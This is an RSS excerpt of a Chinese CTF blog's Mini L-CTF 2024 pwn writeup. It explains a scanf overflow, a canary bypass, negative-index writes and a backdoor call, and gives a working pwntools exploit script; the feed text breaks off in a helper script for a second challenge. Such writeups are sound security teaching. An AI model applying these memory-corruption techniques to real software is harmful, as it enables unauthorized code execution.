RiK's Blog - 2024年5月
type: channel
link: https://pwnerik.cn/2024/05/
description: Get your hands dirty.
items: Mini L-CTF 2024 Writeup

Mini L-CTF 2024 Writeup
type: item
date: 2024-05-08T12:35:00+00:00
description: 题目链接Pwn - Ottoshop♿​ 在 main 函数里看到，输入 666 可以获得一次购买 golden ♿ 的机会。注意到设置 ♿ 名字的 scanf 存在溢出。 scanf 读取数字时，输入 + 或 - 即可跳过一次输入（因为不知道这回事卡了好久 😭），这样可以绕过 canary 保护，修改返回地址劫持控制流。buy 函数和 change 函数中都未检查负数 index，可以向上任意写。在一堆 otto 函数（雾）中发现后门函数 o77oOtTo0T70()（由于直接用 syscall 而非封装函数，所以从 got 表看不出端倪），其检查 flag2 值是否为 otto 并从 flag1 中异或出 /bin/sh\0 并执行 execve。所以只需要用 buy 修改 flag2（index = -72）、money（index = -90），用 golden 劫持控制流至后门函数即可。Exp：from pwn import * context.terminal = ['konsole', '-e'] binary = 'ottoshop' p = process(binary) elf = ELF(binary) address = 0x04020A4 need_to_be_666 = 0x407580 start = 0x407180 flag2 = 0x407060 money = 0x407018 pos1 = (flag2 - start) // 4 pos2 = (money - start) // 4 p.sendline(b'666') p.sendline(b'') p.sendline(b'1') p.sendline(b'-72') p.send(b'otto') p.sendline(b'1') p.sendline(b'-90') p.send(b'abcd') p.sendline(b'3') p.sendline(b'4') p.sendline(b'0') p.sendline(b'+') p.sendline(b'0') p.sendline(b'4202660') p.interactive()Pwn - game​ 游戏是数字华容道。发现上下移动不会检查边界，可以修改返回地址。程序中存在后门函数 backdoor()。一开始的思路是利用栈中残余固定的值拼凑出一个 backdoor 的地址。但是调试起来十分麻烦，所以用 Python 重写了游戏，可视化手动玩，自动生成脚本，大幅减轻负担。import numpy input_str = ''' 0x7ffc0836c080: 0x00007ffc0836c090 0x0000598b0000000a 0x7ffc0836c090: 0x010a08090204050b 0x000d070f0e060c03 0x7ffc0836c0a0: 0x00007ffc0836c1f8 0x15445e0a74b74c00 0x7ffc0836c0b0: 0x00007ffc0836c0e0 0x0000598b817dcf48 0x7ffc0836c0c0: 0xdcdcd8d8dcd8dcd8 0x0000769a5ce75400 ''' print() def flat(eles): res = [] for i in eles: if isinstance(i, list): res.extend(flat(i)) else: res.append(i) return res data = flat([([i.split(':')[1].strip().split(' ')[0].replace('0x', '')] + [i.split(':')[1].strip().split(' ')[1].replace('0x', '')]) for i in input_str.strip().split('\n')]) tiles = [] for addr in data: temp = [] while len(addr) != 0: temp.append(addr[0:2]) addr = addr[2:] tiles.extend(temp[::-1]) tiles_np = numpy.array(tiles).reshape(len(tiles) // 4, 4) tiles = tiles_np.tolist() # 一些提示符 tiles[7][2] = 'YY' tiles[7][3] = 'XX' tiles[10][3] = '||' tiles[11][3] = '||' tiles[14][0] = '-0' …